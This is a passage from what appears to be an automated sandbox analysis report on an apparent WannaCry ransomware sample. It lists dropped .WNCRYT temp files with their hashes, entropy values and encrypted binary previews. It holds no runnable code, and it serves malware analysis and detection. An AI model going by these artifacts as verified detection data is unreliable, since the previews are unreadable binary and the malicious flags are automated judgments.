                                      Preview:k.cK.!3..M5..}x..e...5.d.y.)^A$.C..G...3.......PN2.......r..Y..Z...Nn..e.U3..q...A.W.71.pS..^N.t..!..2S..@w.....afM.5~....oS....+.v...R....iG..e...P.....c,&+/.....:U.I.......:..Q.F....?E..?].@...DQs..O....*...R.B...9.M.G.e..../....KF=I....g<J...>x.O W.rf..."..-3.....jz....nA.twe. ....;....>.+]Y:.*RSV......fb..aL.;.4.....l8x..s".p.|........K...7.....^.Xf....b.o.9#.y....T......E.6..A*i:h.9..|tN.&Z.eT.rB..C.%q......G..7FL..I..N7.$)gWf....=*.V.|..,.._...A.*p..`xE......p....qg.....k4H...Eq..ode...2q...#&N.h.a..'p.N.)......T...'..C...EA~.....0.....[.ZyM..E|.W@O=.^..`...B...R/..k...u.Z.Q...Z^. C^.W.?.1deM.. ....6_.....,.9.....~....p.z/.....~.%.....v.P......#.(pO..Q....=./.ie..a....e1..l.....[.Q7....0U..@..p.C.r..1.B.+...^.^=...{...izb.xF....r.G>'...A.E.../+a....1A@q...|w.H.mx..a..^.=.U.U...6}[.7S....J.:o..TGmc...@.. ..eK.....&..[5..,...P0J...Wwm..<L4Z..`.k.[jg.:N.o...+&...#Y.O._.+.,d..B.$n..U.Y...........|...~.........FV..%[D..#!j....u

                                      C:\Users\user\AppData\Local\Temp\65.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.829059660535849
                                      Encrypted:false
                                      SSDEEP:24:pTUrMG5cG+eMW/V9MYjB9slsf3uNTUR+cs0BG+B4kEtJFOh:OM1M/b3lhf3uxa+1oG+WLo
                                      MD5:202B408D0B043290211F72ACC2971BF9
                                      SHA1:679E8897248B2BBCEFF6DEB11C72C90DB6C183BF
                                      SHA-256:81EA88C658BC688264BE05B65343C1E981B99B582EF15259D56F7EBA56944913
                                      SHA-512:F939773B1BCCE154450E6DD0B6C903FD28C2CB1CD165C1232BD7F09230FEF5C1995A0339078017DC5FDA2AEB887ED5B9DD7DEB40C5F7E28D153F8BAAF402DD67
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.Y.'.0.&.....8...j...M6..2...W@.j..`p.0?..F..w....OcK..xg.`.H.]........ Q..A:..6W.%.c.O..B...[..q.K......{...4?...E.k/....U....2...hU...8.J.i.D.9..!o..F'v.K.sA.......2.."..?.a6L..~ue.....Q.......X.......A. .4.X..t.C....^q....9.M...KRb....*3..E>..T.c.>..f..'kD............~....g...0.Mdk.....@..y.{..P..6.b.1....{60E..).z+)..j.!.F>o.T..i:...._Z.l.........JR.cu1.t>{..}.W&wF..E.`.=.._z..hU..O.x..........Es.;..[.Rt..c..fl....P.~.....f>....._kb...........a....%.......4..."k...G'...]...p.=e=...._b..n...2..L1%.....o-..6vOk.N....tC4..l.....c...$.T#PK,..8E.$..{.X....V"....g~C../.!-.*.q.]..V{.......*.#.."e.yQ....e...r.@a=.>.u...tP~.H..DX[....[.\ss...&e\..63.)&...q!57...../.[q.-.A..,.4.?...../..........v.E1.n..o.U....^..$L.| ...j..}..|$E.`.?..Yh."Q.F.....o.H...z...<.(.y.......b5.......kN)b.....1'....1...o@My......_2...H..Q..2N)..6.t.A..9m(\.J....A$2.T.-H....8.~W.z.r...?.~.0...c.^.Si.8.[76.J.4_Q.Bu..fH......8.s......(........M..v..).....D.0

                                      C:\Users\user\AppData\Local\Temp\66.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8275412578261
                                      Encrypted:false
                                      SSDEEP:24:6UFlLdFkz6Nn1BtNvQT3baxbpMNWXaP74sNxzHWz3L5Cm:6UnLMzItvz4NWg7M3om
                                      MD5:6698F256FBC1C6C87B2C4C4C0E8FCB09
                                      SHA1:7479AD4A7624A6C163AD72CA4271989BE03D9926
                                      SHA-256:7E2ABDD17D6DBD959F095B4096AEF45E5B05E6445214E6D8AFEE7FEA474F6F4C
                                      SHA-512:CBEBED5976FB86503A72D558D16E6746B89B4918AA914DEBF5E181B3331C66A4023C1B31E83A255A6C788F6DC1E80EA5CD3F20E40182E26AD247CE402084B897
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.aH*..bi..Rh..$x...T...8r....X..n.."h. ....Kz.p.~Hb.N......:.....j.H.+..F.......c. ......No.c<....!.*.g..1Zg.mh...~.4y......?../..... (....`.$L..H.'....h._q...../G.._...).@.....=3..6X.W.<.).%.U.!..!.........a.k.......".....rH`....@..^......`P3.>.-.i.-s...Lc....5.,T.m.).0#......B....P.|-.r.s!......i.1JC.<.7.maP.......qHH.....3..6w3..r.s.^ .......^+.^.be.{..M...fF...../.SP~l.d.O.f3..,..u.3..,. .+>Z........9.jr.d(V...W.L.b......s.x....v.t.....[..D..r..bu.^..l."../9Y/|......a.....e.+4.w...g$2.l....>..K.....q.Q....=....}0.....v.$......>...7-..S.[...S=.Dr......5Wz...}....yX........".f.....=8....sCd'5.Ca..Y..9;.HCAV.X%^.@\..Xz.?..!J...9...\bm.c-N...=U.p~...@..S......l..u..e..l...h4..Z..qo.#......G .{\.=q._...} ....Eq(.j.L....a.I.S.@X./..@.H.4,l/N.u............=.sihV8#M}OeV....jaQ.c.[...))..j..<x^4P1....%?.\...A..nv..)..+]V.6..R.i.&a....[..v.T.......z.=A.G.NZ1.Q#.U.."`.....]Y..zP....`W|...}..`...M...-.&M.Jr.L.W.S..P...Fy.l.7D....f.VpZ.??!N..(..f

                                      C:\Users\user\AppData\Local\Temp\67.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.797763671658589
                                      Encrypted:false
                                      SSDEEP:24:17b7HSUoVM9DHT98oOMpAkr1HNolqsDHbFW/+gJxM0tuM:97yvS59AK1toIqwGgI0tuM
                                      MD5:835AFA59EC1F4D120F7010E4F577FE87
                                      SHA1:CEECE3CA57C157302CAFCE114D10213A959B6CB1
                                      SHA-256:D27B5A8850D31D6B0BF69E3BC19CE291051C289C24A87125A6CD14C748294834
                                      SHA-512:302D3F9ADFA105AEAF2CBFCDE871010021B9BEFEBE38A44F6309864CB88FA93D5DC24984B5E350A21772719F37BC27D77294441110A1A502F84D5BD92036600D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.....3.}k#$l4.....Q.....FhT..$j.k9.3f.9~....\.ipeG.@C.........m.<...s.<..."sBn.C..V...j&{Qk....p..... ..)u{Z.^.?h2.7%%{i.]A.o$.8..+.R..y.4.....d..%!X.....qB%...2/g....Hq..W...W[.......C...{.q.(..z.q.AfW.....G..|]Z.C..Cj..N^.$)bG...% ...gDx...`.....Aw...S`.:D..0v+r.R...E..z.&....6m..D ......xU%.v...\f...#k.l.G.y..D.^....A9...m.W%d........".\.....X...#.9=$|E..gM,|.l/.E.6..../..I..i.be........A.(..L.R.CE}H..P...8mH/..KH.>....q^..'..Ak..........zi..#.....,^O"*.2..t..b.....H.....=..6A....].H1.~.|...O.Hd..'..z..F!...(.^.m.l.Ch.7o.f..#'..G *..X6..X.....-.......k...'.....z..an.......A.....v...|b......0c.......T_.I.x.I......<2BB.69$.L.m..j.JMbs.z`v.").+t..V.....d..v./^S.y.J.(..d........-l].. .&..'.`M1i.jjG.Q.o...m...y.^......j.......`.z.86...nQ:6..y1[$..[|X....e..S..Q*..`Y.P.....:..F-N..K.$....f..d..=..i......Fu.w.].&......@;!..yH.r....kD.z.Z...y..}...p..zS...1i.]..V+..P....K..+W.............N`..f.......0..).0t..>..d..9k...4_.'..}..wl:r...R..%...w.

                                      C:\Users\user\AppData\Local\Temp\68.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.809796692277115
                                      Encrypted:false
                                      SSDEEP:24:fEA+xJk43qdIYHftTEVWr/vjJWANYH0JT0S5N3p2jJPElF1WsPAzHwgL:cnJ/qDHlTWy3j3YCA832jJ8lFLPAMU
                                      MD5:9BF47016AEF9264C97C5472AEACC4044
                                      SHA1:C2D44A7A5331726F0EA94B1A01E73EF0BC1D0A8C
                                      SHA-256:44B6A1143F36D4FA28B29F1FB35A27AF36B9298E651AFB615D544E6EE1B4405B
                                      SHA-512:8C784524062A33301521FB8E6107EC041FE3E437FCC16FE7AB6E2AA44F69726B34B2564563554D9CB128EDC97E4CF8A4D4303A0D16D71663D41AF0AAAF830D2F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:ec.f.^.B...x9.}.3..^&.E6..8M..*.-@..>..'>.S.Of......PDp.).Y..m......o....L...AV...r+...... Dht5.7...h...h$.!,....V#.$........S..w......o#^z....^[-1.U..O....+.k....G...J...b........;....h~.r.......\*...]....?....dO....".~..1d..06.....n........'~!.GO....]"N.h+..v.B7...8.z.x....l.^.e...!.}.....}$.1...|.Jp....MG..>....\..Z.X.yb..7,v........a6..cjV.O....i..j..n....]...../%.....A;.q4.....;t.ll.&.....6....*(d-GQ......H......X..f.D.y-.s.s.[......=..(....j.x3/..E[_u..~.<.y.<'T.=..:x..s...;.S.N........W.lA.6]..:.....@......Y.T..Y..pos...GgB3M.....!<...b....T..;.&wZ..!.;..[....g......3.7.RY.h...:..'..B4Z.a..hK"X.....A............[IY.Z.?.z....8|...f..(....|..@..V.bj..~...3Nj......7D...m.......09l....Y<0.......5....*...|.]..V.X..c.<..!.q/<..[....,2......hg.....f.EW.."=.....=&e...F....p..f..Y....J.r%.[..@..2t}..`tq.[...g.G....U..2..*.<H..*H.1.$..-n...I...7..s.e.n.U.4^.J.a.z...)..e.....,Kw...mW.P........O.K.h.w....B......A.H..U.Ht......N.N..f

                                      C:\Users\user\AppData\Local\Temp\69.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.803031565751098
                                      Encrypted:false
                                      SSDEEP:24:agRezCdg7Q0Hv0H7jtqS5ElPmUM79IJF3lsiO+sId3TKdWB3tQ4Rx1fmn:agRezipf/tqS5E1z13ip16O4RxQ
                                      MD5:224A4ACCAA333BBEECCFA4421588DE61
                                      SHA1:6A0FD3A96994AB49403AF4AEB1E10AEF3253936F
                                      SHA-256:F30587BFD878D1F434EFE97CD49A98A0730899ECE6CACAA499C3F0244ECF804E
                                      SHA-512:C6340FE2FF4614CCC6043A1987DAC08F5042DDEF893B718D3B27F59F5F97F28B5E6E8FE19E24F5E8FF500983971F8E6BDDA6F8119120D3DD734CD97B4BB3900B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:G!......B.u...z#.....4.UQ.4._C0^..D...RMN.AW ....M.......[...I...J5.0..|....!=C....%...1.N..../.8..?~/...2H.H.../.-....W..J.......S.H..\|..I..Qu..Z:...Z....i..,.......Uq.{x.uRN.......G/...dI..G...vB.b*.\].0...VMc....pm#.t..ou."K...'...k.(..?....^.OG....S.1..&..<....F..c..2....=.....5.p..zT|..ph...rSZ.q.q3....H..x+"...zy.N?..~?..x...F...0...A.Ed....`.|{.%.{.UWHV..ct]7..8...&??.i.Q..d6...]W(.hb~3.c.CL.?m2V.S..,..4...e...'I.N.Y..>...cHR..ii3.Y....rO.Ac...h..|..~....c....P.If3....<jf....^...QxB/.*..3....cf.{wPgC.g.~...2y.r.O...c.........}D..a..M..Ir.NV3P.X...G.A..w.UD..=..)y..._.n........Y..X...;.t...........J.c.e_.......?..X.....Jq.....[.Bw.0..W.SqZ.....I.tV.J.7X.....!.8..Ii.[...a0...e@.f..^T..".`.y[o?E..C............r.L..m.0zka=........r..}....Wio`..A..f..fG. .....fH...R..== bA..P...>*....V..?.........dvK.KaI=T......bl.pl.54......j."..5........s..........1-......~D..d...`1...C9Yd.5.'....c../...x......P..F. v....DU.o..>q.\Z....r/..Y..

                                      C:\Users\user\AppData\Local\Temp\7.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802137378798459
                                      Encrypted:false
                                      SSDEEP:24:yCoy6TU+hO/Tmu7wCRZh/gijGggdcxwrO88Rc:yCoyqhO/TJ7wCRZWijSm8b
                                      MD5:DC0E13611C1C988AD67D8AA64BEE24A4
                                      SHA1:E6165F2566B414922A1BADF41257FC21341EE206
                                      SHA-256:1BF9BFAEBA93FDFFC53EA8C81D3825BCC9CF92B381CBB46D58825D31CF9BC633
                                      SHA-512:CD2890F313C6F1DF1393799870944B4BEDBD6BC749C3D75E9A8D903165EDA0C691A3B22A4A13D68D28DAF4B7B864B71CC5422DB7720FB6A11E76C7AEE4A9337D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:\..@..Q.....x..\...UN....<aQ..fN....I...]h...su}.H.E.........r'.....!.e..C.|A....b..VHU..g.e.h.e.R...#);............?.^..r.-!{...-....}+.1.'7..Q.`\.4v].W.*....p.;3.....M.&.00..p..*.....G.#z=N.D9jQ.K6c.....rd3.4$.F.j+^t.f..ila....m.1.g.-....v.ee}.?....C`......39Dt..n...q.r.Z...t...]....M..O'..R..JX.+Sx..s^;..>&..YF...R..%....X;....ZKe.A.s.#.\.N.......P.......e......V..2.`.jg...f."...w@...S.T$.k.;$.../.E...SP;...r..{.h.FZ....F@.........3/...:.M!'...1I...z.EUA.A...^L.z;.E.._V.<.....^7.:..c.f......U1..e.....n.ln2...S.n.....N._.\....}....CK.D.....l..H.!.Z......K0u-...$w...:.X..&..pt..C..!......!(.K<s..Y......5.E....Gg......K..!z..U.P...J&.f7..T..J.M.gg..2.JZ..4.f.k.....x..e..B......y6..PE..iP#0.L%...M.....q.ka...+^...%...{..6..I".}H.*#"(b.[D......@.(.!0..p5.ze.......v..u..z.}.]..l..Z..O...7......2l0$.5,....+?!.B,. ...vd*A..kV......o.....3.....}.R...e..9. }2......R;.4.4m.lm..?$.[..@....3'.....a.....>.m...")p..gST6...E|.....U.@.n..S*0........2"T..W.i.p..'`n...

                                      C:\Users\user\AppData\Local\Temp\70.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.7870563395208405
                                      Encrypted:false
                                      SSDEEP:24:tJfcorMGEy794zf9KI6Gh82n67TC/NFTob:tJi07Kz9K4w7YFTob
                                      MD5:F81C4722FFEB5FE80C93236B31845726
                                      SHA1:2638F2EEE90103424F30C97572A5D6DD3D491E12
                                      SHA-256:A1CCA5D93464E3C5F225B0A6CA829E965A5C1575611474B268368DB2D880C587
                                      SHA-512:D54CB64E9AD200DB3400519E46EE00DBD06BE64CCC5EC77EE74D88DF230372DBC8927A13E38230E55FD6650FDA2549674C060002A92722E34785D74A4237144D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:A...i..0.....#U.z1.._.....Z..0...B0R..M...&.d..>....jR.........8...Q.... .%...l7....6..... .."w..lq.F...l...I......(7....-ao.._...'.v...91.zl8.7..wKw.K;f.J.A........>.UZdB6O.v.X.f.d...&...ZnK.-p.1.6Q=.nN..F..a.[.r...5kv9m...(8......l..e...J..Nmt.vU.UM...."...=f..T.........W..O.._..d...L..S.....<...(.....$....X...... F.df.......r ....=......o...Q.]....k...y_.,..~..p...AS...Dc..........z..{....gy....Y.n.XH.s...~.G..#yO..y^0.R>.#....Yw..>@.....`.A.....@..Q..7......z......V.".$....xw.c..WA.....6m_.1)..5.1P..Z.(.....df.._...',..Dv.&...._)..o.]..)>./.Ya..[X...k;.A.......7(p.h........W.......m.q..gE./....H....{......Y...L..}..p...':m..............;.H.Rsi..|. ...~....Q.....g.b\.tB..X.[AMo......g%P:..L..-g..eU.....:..m..g..K.1....G#4...^...|....sRh...f....X.^..v.M).*..x..=.Gq6(f.rk..N..#.z,..b.y.l......`F.$...Q...;}..5i.v.l......B....Q.?.....LC[.Z.V..B.?.....7L9...xD.h`..(.\wA7.h`"E.,.......FJ..|..>'iO.....G...(..5nS.8.y.....%.v....T...O.....K...

                                      C:\Users\user\AppData\Local\Temp\71.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.799651948877692
                                      Encrypted:false
                                      SSDEEP:24:dQpi0iD5HA8jsq6KfGwaMAWUyXZ851BBRwMpRHOH+oMIl:dgi0iDO8mKfRaYTXyBBRwMpQCIl
                                      MD5:D7D7E26DB547D460FFD18337A41DD966
                                      SHA1:0A27B035CFD2E3C2272D76CC287E524F677D3D10
                                      SHA-256:766F952CADB04DA0FF3802D1EC3B6F5B7245BF41959B71B613B11052C57B53C7
                                      SHA-512:4B82B59B888243CE2E0CB171FC0F84C7E8AE672132016144A143739BB858E0E76E2A9ACAEE0C2FE0750CF79C0CEF0B8959FAD3C9E84D7B406D2557978B7F5A75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:u...+./..?.K..0'.l6.i..5.........dJ+e.>...4$..=...=.xY.(...,Cf0.cA...I....97..'].j..~.P.V.1...AI-..[=..2m...yU....k`.nw....i...[..PW......!.;k...+..`..|...o>7.S...@...........i .'...8....s.}.....T%..&Y...3.1..1.&w..,@.......-....xr,.P.a@b.k."..._.."..S.T~>"....p.Rvm.^OwZ@....k....B...8...y..P Fe.C.....`......iuSg.<1..h=.....GG...s.t.t...m..A...!.......V.....E..Ga..%....+..(.*......FDv...t....../.....j.|?.....6[...b.8|.Il....F..zr...j..~.......v...I,jkx.X[...~.....(..{H.....g.S..x4#..dY...v^J.+.=.(.Vz5 %.w$..8....z..d:.......U.1...k.7n..a..x*...b.r0.E.;..9..OX"V#G.,...?..\..KKi...9..DA..t.&....!.A..........#..N."...2V....8/...(.h.#..>x>l^o.!ss...|R.......ABu.p.4.~>. )N.4......r.E..p<pt.yN\.[....>A.+L..=.a.v"...{.6}M;.J...e.h._3....;.0....bKDF..?....~.x....B&...'.,.(..RP...e."W.G.....e.g...O.#...........T.C7.-...{.....g....O..o..yx0.r4Z\J.9....6.1.Cv.<..w.....s.iL.04..].WL........9...3.9.RJ..~...g...K.2?.,.T.o..u....pr........o.L..

                                      C:\Users\user\AppData\Local\Temp\72.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.800185547528002
                                      Encrypted:false
                                      SSDEEP:24:wKQccRgeezB/UMjLTDjGkBnjFgHpjrUR5C:xPcc/UWLTLRjmH9M5C
                                      MD5:F9D6B69D9AD53F8E9C7E856D18C9A759
                                      SHA1:65C98972BF02E94125792124411583D7B606F789
                                      SHA-256:BCF4C57D1FEE0D63F15B51EE8FCCF55EC23DD3126DEA01AA726D553ABBE08C78
                                      SHA-512:5470CAC96E25A8BFC226E5893F0F777811E1086E37CFB416A977421ECCE92EFC872BB9886659DFC2DD509C579202CEA32B663841C26F8C68C46C568091766DC4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:....".5&..Gh^.......wNQf.W.\!.M"....#H#...Q...!.?..4.....g..b.4.z.....i.~+.....a.&..r...,..;.....;.....9.sQ *..........`.xSCJ5.d.W./.49..^.;x..B..'......TR.B..:.]...z.....&..*P.j....(.0xP..r.{.X+'..k. ..f.;.Jc.._..nZ....7C...I...."...?.;.'.EL.t...q...1......Z..w..O.F..!.F!]......^..<g&X..U.X.~....jz.M\Q....Bs...t..F...x..J"C<.q.._......F.V.......P..?y.Uy..+..V.$.R......9b.Q9......;..F.....cvY*.cR.h......6.NI...~s....xEx1E..cw...i...}.~.....P...v..m.WI..@#......./..~..%..Y.B..9N).Zz..zp..;.LU.:.v.....Q.^.=..v........v.Q"..#...,F....G.....P...k... ..D=]...:m..5<.././...u.Tq....D..B....Y1.LeT.....DwxS...K..H..e......!e...U.{[_^.R...n.v.@.[.:q....3..X......5PM....;..i.. 1b.h..C.1..!......Z..y@...>.!.>..:.^....&..#hm.]I.. ...kh.`d....'E..i...At"K.p..';.i!.;.|C.j...#C.;..6_%R.3.......yQ.zK.....z.x..-a../"F...I.....7...E.V...1....Fl!.. .#U.P..u...R.....0.....9......O.'CYf./...).q.....%!$..t.J...v6.Z_{..85.X........76N5.L.m.[cA...Cl..;.F%.K.&.},<g.R..%d..

                                      C:\Users\user\AppData\Local\Temp\73.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8296342597384525
                                      Encrypted:false
                                      SSDEEP:24:Eu4K8fHROxZ4Vmmml7Bb3XuG2dMywerYZSGewKBEVJVfwi9T:Eu4MszmbXCUerYSGewKBERYET
                                      MD5:4DB49A6E1911BE9D03FB5EB96F2BE11B
                                      SHA1:DF94C3000A017DF527DA681AFCCE04F399F4752E
                                      SHA-256:88411D276A03BB1E7823D8EB66B60F393653077C875B4E2274848165CD53829C
                                      SHA-512:A1F6AA1A4523719C9C10BC4E7BC205D937BDC9867013B7B8DACADF0FE67ED0F193BB467185860E39715CDFE6C8109C9009E41EAD22F68B59A14277F352E26189
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.].l.^.."g..q..]..X.kra.&4.A...%..\..`..L.7\..d;.y... .....c.N..*R.1!.....<.`D.!....i.!..]..P..m.%.B\..K...v:..... (6.l.X?.K........,i.P.......P..K....A.......7tK.\A.ai.".8Zm.j6D..4h..8.}.1..o.....}.8I.L.t.G.....w...Gr..._....,.-...........>b.u.A=....8.....Q_.2.^4E!y.IW....h...3.c.5`V.>..!...V...{...^G.l..;.J.f.s/.o..y..Q...j.-......o...h...&......kT...y}|zn....qb..4t..._H..T..p._0.kg...a....?.....5x...t..te@(..[..%.D.1=......yK2PP.'f.l.Kr{M.n..\V.....\..<7..l.[l.........[...T.........}\..s.{.....Sm.nA...4.8n}....^...u n.4."...-,PTZ$......n..@....>^.*F...U{...z_....,Xm.H.....?0....*...J.....>/~...../..c.~.2.<e_{....~...h.....9[...[....MRQ.".#.w+KB.=..U..V..4....a...}.O./..T].+ .. ...8..wF....V$.u.>Pd..s.,......{I.EaA.]x....m....}|.......:......ss......@p.d(.]R...p...5.!..a8.O...k8WX..h.8CBA.l6/...\..<!.6...E..\......@Qs.....)u?...h.y..O6E9.....2..F.<.7....U...`..+1..jO.;8J../..!..{..&.ty..Q.HN.j.J...0?..e...#.6........V..

                                      C:\Users\user\AppData\Local\Temp\74.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.812689208682131
                                      Encrypted:false
                                      SSDEEP:24:3uk7rdWDi5Qf9AsM8nxHWUd2j53T3vZ57i+ZGBMPI:3uyrYDgQf9O8xHWlpDhA+gMg
                                      MD5:94112D42FA994856821594E43C21C7C3
                                      SHA1:9221971226495FC8DCC2C8AB928CFA57AFA1E0C1
                                      SHA-256:62BDE7D92DED3302997EFDBF2E8CF0A0C4C9214EA1856189FDFBD32D53F74033
                                      SHA-512:0D27DF4F6EF15EA343BDAC34448D65E9A17559558479A7F37629CD590B34E348527F686BF455F510F2BA308AB9B67A304CF06F4F71A46F8484281274471BBFCD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..e...\..}@..N.K...T..\.G&..?........D8_(...W..B93.....a.....B..cC. `Vc.$..O_....v.'..<..3..G.....E=`..2.E.....{.P..Y.%...Qc;..K3..l.)qq.KA.|U9.`0..U..t..}.I|n...G..s..,m.9..7w.1Y..IHI.|...~.....-...%.S+v#..j.....~Y..b.1G9>bl..on..?..!.&....pv.l...8...T..c...lE........~0.T.I.r!YB...mk...G....U.,\. .......$.B).t..Y....Su...ti...&..:+-..:..F.W2...+..,.r.C..}.i.3..VP.9n:.i.j..Y..h.._.;@t..Z..*R*.qeb.6!.U..::@Y.".0..JU..O.e@`xq.E...he.xD.{.`<h..r.i.H..}.:.,.>.dz.B.kA.~W....".u!...2Sk....].h..m.=.P.R.+.....3.k.e.7.q]..l,.+...:SF..x]B...3.$J..j)L>.L2}4..D..k.R{I.o&....F...;.3l..{....i...@vK..G..Ei.FI.=.fw....*.M..w............p..E.2...Y............]...rMJ.....4_X.#Y.n.......g.H...OzQ.co.<..n..m..l9....@]..]gi.....5..6...B...%#~*I.|..r#..2.........?.!.,6...Fp.._)...+*a..n[._.$.R.oq... R..kQs......g..fI.....@..}.[....$8.\ew\U..s.-69...eH.u.....n.uc.u.8..;n...;.)~bo.y..em:...^Z.tJ_..$.LxN.2..u..]../6=.q..:_......J9.c...1.=g.....'.-....co.>.8...;h.VK.2.....

                                      C:\Users\user\AppData\Local\Temp\75.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:OpenPGP Public Key
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8326716405699495
                                      Encrypted:false
                                      SSDEEP:24:/zvBS0Afa9SHCCoI8j6IW6F6jQvgW1Mb8Ecs:TBK7HboIC6V6aQLqb7L
                                      MD5:92FCE157AD1BE1D041195C9EDD77B110
                                      SHA1:1580559D6AC06F7412AC81A79C9E800DB23BCB2D
                                      SHA-256:3224F508E4BFD682D2A60BD8D9886ED879D5F54785233044D2556C44743CDD51
                                      SHA-512:3908C38AD8383A31CAE0CA97B23D2DFF7A359AB2D43C402F0A1C6A34AFB6D8CD7CFDE792D3D519A528B9D7A833752723227FED19D229E9B8DB9373C7FA0AADE7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..\.1.T....=..`6N.f8. .....{.6..D6.[.}T.g.........X....+..A.5^...s7o....}..)v;..B. 6$.k!.....j.,I..^..t).....m/./.....>.]BC..Y...u.Y...8N.-dfL=...........k,..UA+RG.;.2EQ.+..... .b@....8.Rm...........w..3...\...8,!-R.k..fZ....c.n...*""^3......F..0.y..{L..*.ZV..4z.U..<. r...ppS...]...`..I..Z.I7...7.G...o..|.Z.&28....O#.uc6..g..q.[..d.....%8..o*Co.T`...>xi$...q....a.=|m.....h..-X8....).T..z.V]./....<W........L"(....[.`*....9r.k.;....i....x.y6...E.e...7.g8..O.K.Q.......nJ...<x.....x.lq0.....%.[..%/...S....}F.#...EY.H....8_.oU..j.....c.#...Z..\.h,1f.Ah....C..y.\ .|._.}..u..g..-...O.....J.i...-..&..L..R....W.............@<.n.t..J]P...........n/.u....ZT.\f~..U.cn...!z..._......>..?r$F.n.e.)..........1E.Y5e..ml......s}K|.^.d.&...*l5r.H....QE....Z}.....#M@...,r..~.E......].....e...uI...u..{.H.G.;.+.;=...r..L...:....d&X...:E...i..d.*........+..|z...56.....-.M.....zD..F...5........gR....*.G.V(.85ey.._.` ...u..K.|x....t...[...,g4.7....,..?....

                                      C:\Users\user\AppData\Local\Temp\76.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.817329006864384
                                      Encrypted:false
                                      SSDEEP:24:7t6TNbMLAY8v8ZCAvwuAG+MAPR/zvfRzvyg9uqr6/a+OOav:7t6TNIUY8v2CAIt77NYqr6S7v
                                      MD5:14B8CB0F3A2095FDA6808C47898F93E2
                                      SHA1:1C04EBD226BC5989F9702AAC395EA4D2C476853C
                                      SHA-256:E4AC52955B519AC1048AFC988D55B51E3908C0A6066395181E91AA62E2361231
                                      SHA-512:7F866F7C966A743223987A370FD6E319A58C6923BA16CFF1C03229DD30E730B822695E2A220359675A4F118761FECDD7527BB58892FDCD3BD1B527E420FECE7E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.Pr......J}....S..8Y...O.Sb.]..'..." ...0..Z-g... ..{.k.(...g.Ln.9x........g<._..n@.4.*.4.Qu............t.........X...yQ..Pxy.g...."..)R..v.@...t..BLx...29......Lh.0...<..%\'/BX.j.Y.x.....3R...'...o.L.s......o......O.b.o}..HT._. ..Q...N.;.cV..3..O.H.@..[.J.r..F'aOVt.....'..w..1....Y.....N....@d..3.....^5..$%.^....y..p..D<...1HK.....m.y%".....b2........T2..Xi....CGn .....O..:.J..SK\.b.v[.:..#...([.S.....0L...g....)..uj...9Vui...>>(...Y..H...w....h.8..I\.e6.dJ.?.|..(..M."....uu.q^..rK1I......|<bY5.....I5c..S'.t"....?.Q.x..lhz.J~..#......\..B..L.O....:.2,.......IG....W.v)p .2....}.<QT.Z.....3"..8.p..[..O...b.....R.5.Q...7@.P..GA.&.....ej...e...[... ..n.........n....,%...V....|.)...uz*n....AY...!-..Z......+cz...1{.z..b..n..%..a....i.M...L.O8Vdh...@..3...%..?O.:9.>&....Y....S....x..z...:....c...Ny~p.'.|}.zL*...q..J..H..s..$.V.........1?.7v.T..[.\p.....4.....%>.7..n..D....o*..Of#.CV......0."..3.....V....'..U....'...S...q...'.-.V....

                                      C:\Users\user\AppData\Local\Temp\77.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
